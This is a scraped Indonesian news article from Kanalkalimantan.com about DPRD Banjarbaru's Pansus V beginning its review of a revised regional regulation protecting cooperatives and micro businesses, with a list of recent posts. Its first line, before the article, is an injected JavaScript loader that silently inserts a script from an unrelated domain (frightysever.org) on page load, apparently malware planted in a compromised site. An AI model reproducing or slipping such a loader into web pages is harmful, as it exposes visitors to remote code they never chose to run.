(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

Pansus V Bahas Revisi Perda Perlindungan Koperasi dan Usaha Mikro


KANALKALIMANTAN.COM, BANJARBARU – Panitia Khusus (Pansus) V DPRD Banjarbaru Provinsi mulai membahas rancangan peraturan daerah penyelenggaraan kemudahan perlindungan dan pemberdayaan koperasi dan usaha mikro.

“Rapat Pansus V pertama mengundang Dinas Koperasi UMKM dan Tenaga Kerja Banjarbaru dan Bagian Hukum Setdako Banjarbaru,” ujar Liana, Ketua Pansus V DPRD Banjarbaru, Senin (10/7/2023).

Menurut politisi perempuan Partai Golkar itu, mengingat rapat perdana sehingga belum masuk substansi tetapi masih meminta penjelasan terkait pembinaan dan perlindungan terhadap koperasi dan usaha mikro.

Liana menuturkan, anggota Pansus meminta penjelasan atas dasar hukum karena Raperda yang dibahas adalah revisi Perda terdahulu yang disempurnakan guna melindungi koperasi dan usaha mikro.

Baca juga: Tingkatkan Transaksi QRIS, BI Kalsel Gelar Pesta Rakyat Banua

“Kami minta penjelasan dasar hukum yang sebelumnya dan mengapa direvisi agar pembahasan ke depan dapat lebih mendalam,” ucapnya.

Liana menambahkan, sesuai tujuan revisi Perda, perlindungan terhadap koperasi dan usaha mikro dapat diwujudkan melalui Perda baru yang lebih sempurna terutama dalam melindungi usaha masyarakat.

Selama ini cukup banyak usaha mikro yang terkendala modal untuk pengembangan usaha disamping ada juga yang produksi sudah bagus tetapi mengalami kendala pemasaran.

“Hambatan dan kendala yang dirasakan pelaku usaha itu berupaya dicarikan solusinya disamping juga dibuatkan payung hukum berupa Perda, sehingga masyarakat dan pelaku usaha lebih nyaman,” ujarnya.

Baca juga: Empat Titik Karhutla di Kabupaten Banjar, Heli Water Boombing Diturunkan ke Gunung Pamaton

Pembinaan maupun pengembangan koperasi dan usaha mikro diperhatikan sehingga mereka tidak terjerat pinjaman yang dikenal cepat dan mudah.

“Kita semua tidak ingin koperasi dan pelaku usaha mikro terjerat pinjaman online sehingga melalui Perda nanti, mereka terlindungi dan usahanya bisa terus tumbuh dan berkembang,” kata Liana. (Kanalkalimantan.com/bie)

Reporter : bie
Editor : kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

6 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

6 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

6 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

6 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

6 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

6 bulan ago

This website uses cookies.